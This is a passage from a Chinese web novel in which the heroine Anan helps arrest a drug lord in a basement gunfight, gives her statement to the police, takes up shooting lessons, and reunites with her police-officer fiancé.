他躲在柜子后面,别人打不到,这是天然的优势。这个时候,只要地下室亮起来,他就能立刻看清其他人的位置,并且出手。 不能给他这样的机会。 先机,一定要掌握在自己手里。 第233章 火球 安暖心念一动,缓缓脱下自己的外套。 外套里装了些奇奇怪怪的东西。 都是她觉得可能会用得上,装进来的。 比如说,火柴,手电筒,匕首,还有一瓶酒,等等。 酒是个小瓶子,本来打算以防万一有人受伤用来消毒的,没想到现在派上了用场。 安暖将酒瓶打开,倒在了外套上。 这些动作难免会发出一些声音。 但只要不暴露自己的身份,就不要紧。现在敌我都混在一起,没人敢随意开枪。 开枪打到自己人就得不偿失了。 要是可以随意开枪,那好办,直接不论敌我扫射完事儿。 安暖将酒倒在衣服上之后,猫着腰,慢慢的往皮夹克躲着的柜子方向走了几步。 她在心里琢磨着,应该不远了。 地下室的黑暗中,弥漫着一种诡异的不安。 好像有人要搞事,但又不知道搞的是什么。 安暖将衣服团了起来,袖子和袖子绑在一起,拿在左手上。 她轻轻的,深深的呼出一口气。 运气和实力一样重要。 皮夹克不会拖太久,要在他出手前解决他。 她都能有两条命,可见运气还是不错的,赌一把。 安暖突然站起身,抬手用力,将衣服往柜子的方向用力扔了过去。 同时举枪,往衣服飞过去的方向连开五枪。 安暖不是神枪手,打运动中的目标,她对自己没有多少信心。但她也确实是练过枪的,要不然也不会找曲嘉要一把枪防身,现在就死马当作活马医吧。 万幸,在衣服掉落在柜台后面的一瞬间,被安暖一枪击中了。 衣服上刚才安暖倒了一瓶白酒,被击中之后,瞬间就燃烧了起来,成了一个火球。 火球一亮,地下室顿时亮了起来。 但也就在这一瞬间,火球落了下去,就落在柜台和墙壁之间。 也就是皮夹克躲着的空隙里。 在极度紧张的时候,不管是谁,看见天降一个火球,都会吓一大跳的。 皮夹克一抬头看见上方骤然出现一个火球,脑子停顿了一下,然后火球就呼啸砸了下来,他这一刻根本没有时间想太多,条件反射的就蹦了起来。 一蹦起来,脑袋和半个身体自然就露出了掩体。 又是两声枪响。 皮夹克发出一声惨叫,倒了下去。 这两枪当然不是安暖打的,不知道是篷钧还是曲嘉。 在老鬼中枪之后,他们一定时刻在等待时机。 虽然想不出能有什么时机,但是他们心里有数,安暖正在找机会。 这一刻,即便只认识了短暂的一天一夜,他们也将安暖当做合格,能并肩作战,合作无间的战友。 着了火的衣服是不会那么快熄灭的,这火光虽然昏暗,但只要一点光就够了。 皮夹克惨叫摔落的一瞬间,安暖看得清楚,之前被拷在椅子上的楚隽一下子也不知怎么就挣脱了,扑向秦漠。 许骧也猛地转身,冲向了秃头经理。 他们之间的距离都是很近的,这就是眨眼的事情。 之前秦漠手下还有两个人,若是硬拼,可能会有较大伤亡。 现在不一样了。 老鬼和皮夹克被打中之后,敌我数量一下子就逆转了。 秦漠是老大,但秦漠不是高手,他手里有枪,但在那一瞬间,也被被击中的皮夹克吸引过去一些注意力。 等反应过来的时候,楚隽已经冲到了面前。 他抬手就要开枪,楚隽一把抓住他的手往上一举。 枪响了。 但是子弹尽数打在洞顶。 楚隽一使劲儿,秦漠的胳膊一软,枪便落了地。 曲嘉和篷钧也冲了过来。 许骧更是轻轻松松的就制服了秃头的园区经理蹇峻熙,将人按在地上。 蹇峻熙挣扎着,用一种见了鬼的表情看着他。 “三哥,你干什么?”蹇峻熙气急败坏:“你为什么抓我?” 许骧笑了一下,将他落在地上的枪捡了起来,然后抽出他的皮带,将人捆了个结实。 秦漠也被制服了。 他的反应就有点奇怪又真实了。 他对许骧竟然是卧底这一点,虽然表现出了愤怒和惊讶,但竟然不是特别愤怒和惊讶。 联系上许骧的牺牲,以及这个秘密基地许骧今天也是第一次来,看得出来。他虽然是三哥,好像已经爬得挺高,但并没有完全得到对方的信任。 要不是这一次秦漠想跑,皮夹克想要人质,许骧今天也进不来。 秦漠挣扎了一下,看向安暖。 他咬着牙问:“你到底是什么人?我从没见过你。” 安暖笑了一下。 “好说。”安暖说:“我既不是你的同行,也不是他们的同行。我只是一个……有正义感的人民群众罢了。” 保家卫国,人人有责。 楚隽没见过曲嘉和篷钧,但知道他们是安暖带来的,是自己人。制服秦漠之后,便松手交给他们,自己大步走向安暖。 “暖暖。”楚隽急切的一把抓住她的胳膊:“你……你没事吧?” 楚隽这个时候心里大概是有千千万万句话要说的,也有千千万万个疑问,但因为话太多,现在不是个絮絮叨叨的好时间,所以就挑了最重要的一句。 “我没事儿。”安暖拍了拍楚隽的手,安抚他:“你也没事儿吧?” 刚才下坑洞的时候,在墙上撞了一下,背上可能有点青紫,但问题不大,这么激烈的情况下,甚至都没感觉到痛。这会儿放松下来,才有点感觉。 “我没事儿,都是装的。”楚隽说着,突然想起什么脸色一变:“对了,我没有和许醉在一起。” “我知道。” “我也没和她处过对象。现在没有,以前也没有。” “我也知道。” 楚隽有种提心吊胆,松了口气却又不真实的感觉。 “你……都相信我?” “当然相信。” “为什么?” “因为你没有必要骗我。”安暖认真说:“处过对象,又不是坐过牢犯过事儿,有什么好隐瞒的?你说没有,那肯定是有原因的,我当然相信你。” 楚隽这颗心,彻底的放了回去。 他们一直在找的幕后黑手,就是秦漠,可惜这人藏得太深太隐蔽,如今,终于落网了。 第234章 微不足道的改变 秦漠被抓,但事情还远没有结束,他这条线下面还有很多人,要一一清除。 后面的事情,安暖就不用参与了。她本来也不是办案人员,只是个野路子罢了。 这一趟,与其说是来抓人,倒不如说是来救人。 小情侣之间的事情后面再说,安暖道:“许醉没事吧,她……受伤了?” “没事儿,只是中了迷药。”楚隽说:“这边还有很多事情,要不,我先送你回去?” 楚隽也不知道安暖走这一遭是什么情况,也不敢让她留在现场。 “好,那我先走。”安暖道:“我……我先回去……对了,园区里还有一个秦漠的手下被我们捆了,就在上着火的厂房的左上角那个小楼后院里。” 这话信息量太大了,楚隽一时只能记住,不能完全理解。 但这要等大部队到了,再一一处理。现在就他和许骧两个人,只要守好秦漠就行。 “别回家。”楚隽说:“你去局里等我。” “好。” 安暖这两天做了这么多,不管是什么目的,也是要好好交代的。 大事面前,安暖从不废话。 曲嘉和篷钧走了过来。 “楚队你好。”曲嘉说:“我们可以送安同志回去。” “你好。”楚隽和曲嘉握了握手。 并不知道对方的身份。 安暖介绍:“这两位大哥,是我找爷爷借的人。曲嘉,篷钧。” 楚隽一听是找爷爷借的人,顿时就放心了。 “原来是爷爷的人,辛苦两位同志。”楚隽说:“等我这边忙完,再谢二位。” 地下室一场恶战,枪声啪啪啪的,和园区里就像是两个世界。 园区此时刚灭完火,虽然有一些财产损失,但没有人员伤亡,大家也算松了口气。 安暖带着曲嘉和篷钧离开了园区。 带他们来的段知旭现在也不知道在哪里,他们的车还停得挺远,要是走路过去,那也得走上好几个小时。 好在园区里虽然没有小轿车可以借人,但自行车还是有的。 曲嘉给了押金,借了两辆二八大杠。 安暖看着眼前的车,为难道:“我……不会骑这个。” 自行车是会的,但要尺寸合适的才行。二八大杠这种,有些驾驭不了。 “没事儿,我带你。”篷钧说。 安暖于是上了篷钧的自行车后座,骑自行车,那还是比走路快多了。这路是可以让运木材的车进进出出的,自行车肯定没有问题。 路上,曲嘉道:“小安。” 并肩作战之后,曲嘉觉得他们已经挺熟悉了,不用喊同志了,生分。 “嗯,曲哥。” 曲嘉说:“我听楚队长,叫翟老爷子爷爷,他们是相识吗?” “楚队就是爷爷的孙子啊。”安暖说。 果然,他们也提出了和安暖当年一样的疑问。 “楚队长……不姓翟?” 这也不是什么秘密,翟老爷子能让他们俩来帮忙,也是可以信任的人。 “楚队跟母亲姓,他还有个双胞胎哥哥,姓翟。” 两人恍然大悟。 曲嘉和篷钧体力都很好,安暖在车上都坐得累了,骑车的人也没累。 下午四点,终于到了段知旭家。 段知旭还没回来,家里只有老人媳妇在。 安暖将两辆自行车都丢在段家,和他媳妇说了下情况。让他再去园区的时候,帮忙将车运过去。或者,他们离开的时候,也跟园区的人打了招呼,来这边拿。 有秦漠这事情,红星林场肯定要面临一场风暴。 若是有牵扯,一批人都要进去吃枪子儿。要是没牵扯,也是一场大动荡。 自行车换了汽车,曲嘉开车,回城。 安暖还是坐在副驾驶上,不过坐一会儿,换一个姿势。 “怎么了?”曲嘉转头看她:“受伤了?” “没事儿。”安暖叹了口气:“就是……挺高兴的。” 秦漠抓住了,她这也算是扭转了一些命中注定吧。 没有影响历史的进程,因为秦漠本身就是要落网的,最多提前了一些。 而无论许醉还是许骧,他们在整个历史长河中,只是微不足道的一粒尘埃,他们多活上几十年,应该不至于引起巨大的变故。 篷钧沉默了一下:“小安。” “嗯?” “我要跟你说一声对不起。” “怎么了?” 突然这么认真。 篷钧说:“开始的时候,我态度不好。那时候,我只是碍于老爷子的面子,不好不帮这个忙。还以为你只是个富贵人家的小姐,无病呻吟,惹是生非……” 所以篷钧那时候不太愿意搭理安暖,不冷不热的。 但现在,他觉得安暖确实厉害。 身手弱没有关系,脑子好,有勇有谋,这就是万中无一。 篷钧说着,想看一眼安暖的表情。 往前一探头,却见安暖一动不动。 他心里咯噔了一下,不是刚才有什么内伤没注意吧。 “没事儿。”曲嘉说:“睡着了。” “……” 好吧,两天一夜只稍微合了下眼,又经历了那么一场精神绷紧,高强度的火拼。安暖可不像他们那么糙,思想一松懈下来,看样子确实累了。 安暖一觉睡到了市局门口。 天已经黑透了。 曲嘉下车,给翟老爷子打电话报了个平安,然后回到车里。 看了看时间。 八点。 市局今天灯火通明,再过一会儿,估计楚隽他们也要押着人回来了。 这案子牵扯得深,所有人,包括安暖,包括他们俩,都是要审查的。 安暖知道多少,他们不知道。但他们知道的确实不多,没什么需要讨论的,都是实话实说罢了。 按规矩,他们三个也是要分开问,问完了,要对一对口供地。 安暖就这样在车上睡到了十一点半。 楚隽带着人从红星林场回来了。 曲嘉这才喊醒了安暖。 睁眼的一瞬间,安暖有些恍惚。 “楚队长回来了。”曲嘉说:“我们也进去吧。” 安暖清醒了一下,反应过来。 “好。” 不单单是刑警队,局里还来了一些生面孔。 贩毒一般都是跨省的大案,需要多地方多部门的配合,牵扯到边境的,甚至还有涉外势力,再谨慎都不错。 第235章 不能让英雄流血又流泪 楚隽带安暖去了会议室,还叫上了江笑愚。 情况还是要交代的。 “对了,这个给你。”安暖取出枪来:“这是从秦漠手下,就是被我们捆在厂房里那个男人身上搜来的。拿到枪的时候我检查过,里面有六颗子弹。在地下室我开了五枪,现在里面应该还有一颗子弹。” 楚隽接过枪检查了一下。 确实还剩下一颗子弹。 楚隽道:“你还会打枪呢?” “嗯,会,但是准头不行。准确地说,我有理论经验,但没有实战经验。”安暖说:“我爸爸是警察,以前我看过他的枪,他也教过我怎么开枪。不过没有开过,这是第一次。” 天才人设,可救万物。 “第一次开枪,已经很厉害了。” 楚隽将枪放在桌上,他对安暖的动手能力是很佩服的。当然,也知道她技术很一般。 要不然也不至于连开五枪,显然是准头不够,数量凑。 也是运气好,给她凑上了。 江笑愚摊开笔记本。 楚隽道:“暖暖,你是怎么知道秦漠的?又是怎么找到红星农场去的?你总不能是跟踪我的吧?” “我没有跟踪你。”安暖说:“其实我们比你们还要早到,我们上午就到了,还在农场吃了顿饭。只是我不知道秦漠躲在哪里,一直在园区里找。对了……我还放了把火,不过有分寸,我找的是厂房午休的时候,锁了门里面确定没有工人,不会有人员伤亡。” 楚隽还好点,他已经知道林场厂房放火的事情了。 江笑愚睁大了眼睛。 “你放火了?” 纵火可是犯罪啊,还不轻。 安暖苦了脸:“当时我也没办法。江副队我也是抓人心切,而且,我不是乱放火。这事情可以坦白从宽吗……我要坐牢吗?” 当时确实没办法,有点慌不择路的意思。 但现在想想,回到那时候,依然没办法。 江笑愚看了看楚隽,都不知道该怎么回答这个问题。 安暖叹了口气:“这事情是我考虑不周,有什么后果我都认了。如果给我更多时间,我也许能想出更好的办法,但当时情况太紧急了……这是我唯一能想到闹出动静,逼对方现身的办法。” 放火烧山,牢底坐穿啊。 江笑愚也皱了眉头,可见这事情有点难办。 安暖还是有担当的,虽然郁闷,但转念一想,如果这一场火的收获是让许骧许醉都活了下来,那也值得。 “楚队。”安暖正色道:“如果我坐牢了,我们就解除婚约吧,我不能拖累你。” “别瞎想。”楚隽拍了拍安暖的手:“红星林场是私人的,不是公家的。你也不是恶意纵火,你是有功的。等这事情查清楚,我和他们老板谈一下,把损失给补上就行。不会让你坐牢的,哪能让英雄流血又流泪。” 这都是在林场负责人确实和毒贩无关的情况下,要是有关,别说赔偿,赔偿也只能赔一颗花生米。 安暖松了一口气。 “你继续说。”楚隽说:“你是怎么知道秦漠的。” “我之前也不知道秦漠,是听他手下说的。就是我抢了他枪的那个男人。” “那红星林场呢?” “红星林场是听雷晓飞说的,雷晓飞是城里的一个小混混,前天送了几个被拐卖的妇女去红星林场。我之前也不认识他,是无意中碰见,听见他和朋友聊天,才知道这件事情。” 楚隽一时有些没明白。 “你是怎么把被拐卖妇女和贩毒联系起来的?” “这就更巧了。”安暖说:“也是前天,我去图书馆查资料,看见一则新闻,说郊区发现几具被开膛剖腹的女尸,至今没有破案。当时我就有怀疑,这会不会是一桩人体藏毒案。” 江笑愚下笔如飞。 安暖道:“所以雷晓飞一说,我立刻就将这几件事情联系到了一起。恰好,你和许醉还有许骧,你们虽然什么都没有说,可给我一种要发生大事的感觉。我想来想去实在不安心,又不敢问免得打草惊蛇,所以我才找爷爷要了两个人。” 楚隽此时是真相信。 爷爷对安暖,那不仅仅是宠,那是真欣赏,真信任啊。 要不然的话,不问缘由也敢给人?还是带了枪的人,就真不怕她干什么不得了的事情吗? 安暖继续道:“我想着,你们是一条线,我是一条线。单线行动,既可以互不干扰,不会影响你们。也可以照应配合,万一有什么事情,我也能帮上忙。” 安暖有问必答,事无巨细。 一桩桩一件件,都说的清楚。 至于你说为什么从报纸新闻上看见女尸,就能联想出楚隽他们正在和贩毒集团周旋,安暖就是这么敏锐。 好在她出现的第一天就是如此敏锐,这一点还真不用怀疑。 问得差不多了,楚隽最后道:“你怎么知道许骧是自己人的?” 安暖反问:“许骧要不是自己人,你会让我单独和他去吃饭吗?他还装模作样的拿着匕首吓唬我,我都没搭理他。” 楚隽哑口无言。 这一刻,简直能想象出许骧当时是什么样无奈的表情。 安暖笑了:“我判断这个人是好是坏,很简单。你接近的未必是好人,但你介绍给我的,肯定不会是坏人。” 楚隽忍不住道:“你这么信任我。” “当然,疑人不用,用人不疑。要是连这点信任都没有,我怎么会跟你订婚?” 安暖就算是怀疑楚隽感情的时候,也没有怀疑过他的人品。 真是没眼看,江笑愚写下最后一个字,捂着脸出去了。 录口供就录口供,还要吃狗粮,什么世道! 安暖花了一个多小时,这才将事情都说清楚了,离开会议室的时候,已经过了十二点了。 这日子过得啊,真是一天比一天晚。 曲嘉和篷钧早就已经问完了,他们的答案自然都是一样的,没有什么问题。 楚隽叫人将他们安排休息,也告诉安暖:“天色晚了,你先回去休息吧。这边的事情,我恐怕还要忙一阵子。” “对了,之前三室套里的人呢?” “已经抓走了,是秦漠的人。”楚隽说:“你放心。要是你害怕的话,回老宅休息,也好让爷爷担心。” 安暖觉得也行啊,都行。 “不如这样吧。”楚隽说:“曲嘉和篷钧都是爷爷请来的,听他们的意思,也想要拜访爷爷。不如我请他们去老宅住,正好可以送你一起过去。有他们在,老宅也更安全。” 虽然秦漠被抓,但他有手下,非常时刻,总是怕有狗急跳墙的。 第236章 有勇有谋有情意有我 “行,你安排就行。”安暖没有意见。 她站起身,感觉腰上一痛,嘶了一声捂住了腰。 “怎么了?”楚隽连忙一把将人扶住。 “没事儿,可能是扭着了。”安暖摆摆手:“你去忙,不用管我。” “不行。”楚隽皱眉道:“我送你去医院检查一下。” “真不用,我自己看过了,就是下地下室的时候撞了一下,扭了一下,休息两天就好了。不用去医院。” 但楚隽还是不放心。 他看了看时间。 “去我办公室。” 虽然很忙,但也不差这十分钟。 安暖只好跟着去了。 楚隽这回可以理直气壮地开门了。 “衣服掀起来我看看。” 他特别正经。 安暖瞪了楚隽一回,但他一点没有退让的样子。 “行吧行吧。”安暖只好转过身,将后背上的衣服撩上去一点,露出腰来。 楚隽仔细地看了看。 “我摸一下。” “摸吧摸吧。” 安暖破罐子破摔了,楚隽一副那么正经的样子,搞得她想飘都飘不起来。 而且他们既然是男女朋友,还是未婚夫妻,亲也亲了,抱也抱了,虽然还没结婚,安暖的思想也没有那么保守。 楚隽按了按安暖受伤的地方,又按了按周边。 一边按,一边询问她的感受。 撞一下扭一下,可大可小。 好在确实没事儿,没有伤着筋骨。 “我给你用药酒揉一下。”楚隽说:“睡一觉明天就能好得差不多。要是明天还痛,让王姨再给你揉一下,也可以找爷爷的卫生员。” “好。” 楚隽办公桌抽屉里就有药酒,还是安暖刚来的那天拿来的,当时还给他揉过,这会儿又派上用场了。 “忍着点啊。”楚隽倒了点药酒在手上,搓了搓手掌。 安暖趴在沙发上,捂住了嘴。 大哥,这可是在办公室。 外面有人。 她可不想发出什么奇奇怪怪的声音,一会儿出门,收到大家奇奇怪怪的眼神。 好在楚隽也考虑到了这一点,虽然用力,也没有太用力,一切在可控范围之内。 按了一会儿,等药物吸收了,这才收手。 安暖正准备起身,突然背上一重。 楚隽俯低身体,压在了她背上。 也不顾两手上都是药酒,抱住了她的肩膀。 “哎……”安暖努力侧过脸,低声道:“楚队,你冷静点。” 我能理解你刚经历过生死,劫后余生的激动和激情。但现在这时间地点都不合适啊。 小伙子虽然要能放得开,也要能收得住啊。 但是楚隽没动。 他低下头,脸贴着安暖的脸,闭上眼睛,呼出一口气。 “暖暖,谢谢你。” 虽然接受任务的时候义无反顾,但他不能否认,在这短短的两天里,他有好几次觉得自己要失去安暖了。 不是生离,是死别。 没有人能不害怕,畏惧却不怯懦,才是英雄。 安暖被谢得都有点不好意思:“不用……我也没做什么。” “不,你做的事情,别说其他人,就是易地而处,换成我,我都做不到那么好。没有人能做得比你更好。”楚隽缓缓道:“谢谢你,你有勇有谋,有情有义,心里……有我。” “不用客气。”安暖说:“亲爱的未婚夫。” 她努力转过脸,在楚隽唇上亲了一下。 楚隽毫不犹豫地追了过去,加深了这个吻。 但只持续了短暂的十几秒钟,就依依不舍地放开了。 眼下的事情实在是太多了,还不是谈情说爱的时候。 楚隽怕自己舍不得一般立刻起了身。 再将安暖扶起来,给她整理一下乱了的衣服和头发。 安暖摸了摸自己的唇角,只觉得在这种在办公室偷亲的感觉,真是十分奇怪。 “好了,很晚了,你赶紧回去休息吧。”楚隽说:“我这边忙完就立刻回去。” “好,你晚上也要休息一会儿,还要注意安全。” 两人互相审查了一下,确定一切正常,这才出了门。 楚隽去找了正在休息的曲嘉和篷钧,说了自己的想法。 两人果然十分愿意。 一来,去拜访一下翟老爷子,他们崇拜的英雄。 二来,保护一下安暖。安暖在他们心里,现在是优秀的战友,责无旁贷。 安暖回到老宅已经是半夜了。 老爷子昨晚上没太睡好,今天接了电话报平安,才安心地休息,这会儿睡得正熟。 不过临出门的时候,楚隽给王姨打了电话,收拾了两个客房出来。 他们到的时候,王姨正坐在沙发上打盹等他们。 王姨也是辛苦了。 实在是太晚了,也就没说什么,众人赶紧简单的洗漱睡觉。 安暖这一觉睡得昏天暗地,不像是睡着了,简直像是睡死了。 但这该死的生物钟。 第二天早上六点,她醒了。 痛苦地在床上蠕动了两下,抓了一把鸡窝一样的头发,乱糟糟地起了身。 好像听见阳台外面老爷子说话的声音了。 这一次,安暖觉得最要感谢的就是翟老爷子了,这份信任,那真不是一般的信任。 安暖决定要好好地谢一谢老爷子,当下就来了精神,飞快地爬了起来。 她用冷水洗漱了一下,换衣服下了楼。 果然,老爷子正在院子里和曲嘉,篷钧说话。 两个身高马大,又冷又酷的小伙子,在翟老爷子面前恭恭敬敬的像是新兵蛋子一样。 正说着呢,老爷子一回头:“小安起来了?” “起了。”安暖高兴地跑过去:“爷爷。” “哎。” 翟老爷子也很高兴。 虽然他不知道具体情况,但一早上曲嘉,篷钧可没少夸安暖。 这两个可都是心高气傲的主,有本事就服,没本事就不服,是绝对不会因为他的关系趋炎附势,夸不出来硬夸的。 所以翟老爷子知道,安暖这次智勇双全,让他们俩心服口服。 人年纪大了,炫耀孩子的心是压都压不住的。 我看好的孩子这么厉害,这就和我自己厉害是一样的。 “爷爷。”安暖说:“谢谢你相信我,让曲哥,篷哥来帮我。他们可太厉害了,这次真是帮了大忙了。” 第237章 师父受我一拜 “小曲和小篷,是很不错的,要不然我也不能借他们来帮你。”翟老爷子看看这个,看看那个,越看越满意:“当然,你也很不错。我就知道,老安家的孙女,是绝对不会错的。” 翟老爷子这是典型的爱屋及乌。 虽然楚隽忙得昏天暗地,但老宅里欢声笑语,和乐融融。 翟老爷子让王姨准备了一大桌子菜,拿了几瓶好酒,中午请曲嘉和篷钧吃饭,不醉不归。 安暖作陪。 只有自己人,才能作陪。 酒足饭饱,气氛很好。 安暖没喝酒,想着一件事情。 她来这个现代的时间不长,开始就给了自己定位,体力不行,所以一直跟着楚隽锻炼体能,学习擒拿格斗。 但那是个需要长时间练习的技术,不是一朝一夕可成,急也急不来。 经过昨天地下室那一场,她又发现自己一个短板。 以前不太用得上,以后真不一定。 就是枪法。 这个年代枪支管理没有那么严格,意味着民间有枪的人,比后世多,日后自己碰见枪的机会,也比后世多。 她日后入职,大抵还是个刑侦技术员,正常来说是少有和犯罪分子对狙的机会的。但技多不压身,万一呢。 昨日那种情况其实是很危险的,很有几分碰运气的意味。若是她的枪法能更精准一些,就能多几分胜算。 这是关键时刻保命的东西,不能偷懒。 安暖想来想去,开了口。 “爷爷,我有件事情,想问问。” “你说。” 安暖说:“爷爷,有没有地方能让我练练枪法?” “练枪法?”翟老爷子想了想:“小安,我听你之前说,你也想去市局上班?” “是,我喜欢刑侦,这些日子,也学了一些,还跟着阿隽出了几次现场,我觉得,这个工作很适合我。” 别看翟老爷子不怎么出门,可知道的一点儿不少。 “这一行可是辛苦,你要考虑好。”翟老爷子说:“你若是真这么想,那枪法确实要练。” 翟老爷子只是现在年纪大了,想当年,那也是赫赫有名的。 “是。”安暖说:“之前一直是更重视理论一些,经此一事才发现枪法也得练。以后若是碰着事情,帮不上忙也不至于拖后腿。” 翟老爷子一向喜欢爱学习的孩子。 安暖在他心里,就是个特别上进,特别爱学习的孩子。 安暖一直就是这个形象。 之前天天抱着书啃,在家做卷子,翟家的人都做了几回。 就是心里总觉得她文化程度太低的楚隽父母看了两回她做的卷子,也不得不承认,安暖只是没文凭,不是没文化。 “你说的有道理。”翟老爷子说:“这样,我打电话给你找个老师,教教你射击。” 楚隽要是在,当然能教。 但是楚隽这几日肯定很忙,恰好,安暖又没事儿。不必事事都刻意等他。 翟老爷子虽然想要撮合楚隽和安暖,希望他们多多相处,日久生情。但从来没想过将安暖绑在楚隽身上,一步不能离。 就在翟老爷子想着找谁的时候,篷钧道:“老爷子,我这几日无事,可以教小安。” 老爷子一看,对了。 真是最好的师傅人选,远在天边,近在眼前啊。 “哎,我怎么忘了小篷。”翟老爷子说:“小篷的枪法可是这个,部队里射击大赛,就没有敌手。” 老爷子竖起大拇指。 篷钧虽然挺谦虚,也没默认了。 安暖当然知道篷钧枪法准,一听他愿意教,也很高兴。 安暖说:“那我要拜个师吗?” 说着安暖就站了起来。 吓得篷钧也赶忙站起来了。 “不用不用。”篷钧说:“举手之劳,不是什么事儿。” 翟老爷子一锤定音。 “那就这么说定了,暖暖,你敬小篷一杯酒,就当拜师了。” 有未来的枪王当师父,这技术不得嗖嗖地涨。 以后说出去,多有面子啊。这身价,随着师父水涨船高啊。 安暖立刻站起来,倒了杯酒。 “师父我敬你。” 安暖一口干了,辣得要死。 她上辈子加这辈子,一起也没喝过三杯白酒。 篷钧连忙也站起来喝了一杯,脸都红了。 吃完饭,翟老爷子回去休息睡午觉了。 曲嘉出门找朋友,篷钧也没什么醉意,便商量着,带安暖去练枪。 一技傍身这种事情,宜早不宜迟。 翟老爷子休息前已经打了电话,给安暖找了个部队里的靶场,只要直接过去就行。 篷钧也是从京市出去的,许多战友,熟门熟路。 靶场里这会儿没人,篷钧办了手续,领着安暖过去。 长桌上,一字排开各种枪械。 篷钧拿起来,枪在他手里,就好像是自己身体的一部分,游刃有余,如鱼得水。 “这里有三种枪械,是目前使用的最多的,五四式、七七式、六四式。”篷钧递给安暖,感受一下:“这些手枪是目前警用的主要制式武器。” 安暖接过来:“我认识,这是五四式。” “不错。”篷钧道:“这是仿制苏联托卡列夫TT-33手枪的版本,使用7.62毫米弹药。这种手枪结构简单,性能可靠,但体积较大,重量较重。” 安暖昨天从秦漠手下手里缴获的就是这一款,沉甸甸的。 然后安暖就叹了口气。 “怎么了?”篷钧奇怪:“还没学,就没信心了?” “那倒不是。” 安暖放下五四式,拿起一旁的另一把。 篷钧道:“这是七七式,也就是这两年才开始装备军队警察,它的特点是可以单手上膛,特殊人员用得更多一些。你叹什么气?” 安暖举起手枪,找了一下瞄准的感觉。 “这几种型号的枪,我都得练。”安暖说:“因为我不确定以后会碰见什么……就算日后我能进警局,估计也不是一线人员,很难有自己的配枪。所以我以后会摸着什么枪,全凭天意。” 简单说,靠捡漏。 碰着啥,就用啥。 就像是昨天一样。 篷钧想了一下那场景,大概是安暖在一片混乱里捡破烂的模样,确实有点惨,又有点好笑。 好在他性格沉稳,努力忍了一下,压住了勾起的唇角。 “别这么想。”篷钧安慰小徒弟:“技多不压身,这也不是坏事。” 第238章 久别胜新婚 楚隽连轴转忙了七天,安暖早出晚归练枪,练了七天。 每天白天各忙各的,晚上抽时间打个电话,也聊不了多久。 楚隽还出了趟差,也不知道去了哪里,安暖也没问。 不该问的不问,不该了解的,不要去了解。 篷钧勤勤恳恳,竭尽所能地当了七天的师父,这一天,也要回去了。 虽然真要说起年龄,篷钧可能比安暖还要小一点点,但安暖坚定的一口一个师父,叫的篷钧从不适应到老气横秋,心安理得。表示这个徒弟自己是罩定了,以后要是有任何问题,都能找师父。 安暖很满意,觉得自己又多了一座妥妥的靠山。 现在篷钧可能还有些普通,可假以时日,能量无限啊。 送走篷钧,楚隽也出差回来了。 安暖和他约了,回一趟三室套。 这段时间一直住在老宅,楚隽也抽空回了一趟,但只是路过跟爷爷报个平安。火急火燎的,没说几句话就又走了,没和安暖见上面。 果然刑警队忙起来,都不拿人当人。 安暖还有点珍惜现在的时光。 等以后真入职了,也要跟着连轴转了。 安暖拎着吃的喝的开门进去的时候,是傍晚。 天色昏暗,灯没开,客厅里的窗帘拉着一半,敞着一半,客厅里有些朦胧。 楚隽就靠在沙发上,两手张开,脑袋后仰,闭着眼睛,似乎睡着了。 安暖顿时轻手轻脚起来。 这一个星期楚隽肯定没好好休息,所以才会坐着也睡着了,连房间都没回。 她小心翼翼关上门,将拎着的东西都放下。 几乎都是吃的喝的,还有些日用品。 虽然他们一直是分房睡,但这段时间两个人一起上班一起下班,一起做饭一起吃饭,腻腻歪歪的,就像是夫妻一样。这个三室套,就像是他们的小家。 这还是安暖和楚隽认识之后,第一次那么长时间没见,该说不说,是怪想的。 安暖蹑手蹑脚走过去。 楚隽这几日熬的都瘦了一点,不过眉眼依然是那么优越,双臂张开搭在沙发背上,这姿势让身体打开,胸腹肌肉更加明显。 楚隽是有习惯到家脱外套的,此时外套也脱了,随手搭在沙发靠背上。他只穿了件衬衣,扣子绷得有些紧了。 “这都什么月份了,睡觉不盖被子是要着凉的。” 安暖低声念念叨叨,拿起一旁的毯子,搭在楚隽身上。 很困的时候,睡着了被喊醒是很难过的,让他睡,睡好了再说。 然后安暖就坐在一边看了楚隽一会儿,轻轻的拿着食材去了厨房。 这段时间没让阿姨过来做饭,安暖就是想着楚隽晚上可能没吃,特意买了点食材过来。 也不弄多麻烦的,简单炒两个菜,烧一个汤。 怕弄出声音来,安暖关了厨房的门,像是做贼一样洗菜切菜烧菜。 楚隽是真的累了,一觉睡醒睁开眼睛,天已经黑透了。 他先是有些迷茫的将眼睛睁开一条缝,然后猛的睁大,手摸在腰上转过了头。 他还坐在沙发上,一旁,还有一个人的呼吸。 窗外的月光照进来,屋子里的光线不清不楚,不明不白。 躺在一旁的人,是缩成一团,裹着另一条毯子的安暖。 两个人就这样在沙发上睡也半夜。 楚隽顿时松弛下来,感觉全身都懒洋洋了。 安暖睡得挺沉,呼吸平稳。 楚隽也没有起身,只是侧过身体。 他缓缓低头,盯着安暖的脸看了一会儿,凑过去在她脸上亲了一下。 然后没忍住,又亲了一下。 这动作太轻柔,安暖没醒。 楚隽盯着昏暗中安暖的唇,忍不住更近一些。 这柔软,好像已经很久没尝了。 楚隽忍不住要乘人之危了。 他舍不得挪开,轻柔辗转。 安暖这几日也很累,练枪是个体力活儿,不但要专注,对体能也是有要求的。她不偷懒,虽然不至于被练得哭爹喊娘,却也精疲力尽。 睡着睡着,似乎有什么东西打扰。 楚隽已经受不了这若有若无的碰触,干脆起了身。 他站在安暖身边,单膝跪了下来。 这高度配合沙发,刚刚好。 手指划过安暖的脸颊,楚隽胳膊撑在沙发上,撩起有些乱搭在脸上的头发,难耐的凑了过去。 安暖终于醒了。 睁开眼,吓了一下,条件反射的要直起身体,可刚有动作,按在肩上的手微微用力,又将人压了回去。 “嘘……” 楚隽的声音嘶哑轻柔在耳边:“别动,让我亲一下。” 楚隽最近,脸皮越来越厚了。 自从亲过之后,就像打通了任督二脉。 安暖想着晚上做的菜还在桌上呢,也不知道楚隽吃了没有,她刚想开口问楚隽,要不要先吃饭再说,一开口,一个字儿都没来得及说出,就被堵住了。 楚隽现在可能不太想吃饭,想吃点别的。 喘息压抑而急促,和之前几次有些许不同。 楚隽急切而热烈。 好像这昏暗的环境,释放了一些平时隐藏着的情绪和渴望。 安暖抬手搂住了他的脖子,配合中,安抚地在他后脑轻轻摩挲。 楚隽的手,难耐的搂在安暖腰上,忍了又忍,但隔了一层衣服,这次不敢再近一步。 安暖也有些激动。 她就没那么含蓄了,直接将手伸进楚隽的衬衫里,从后腰往上,抓在楚隽结实的后背上。 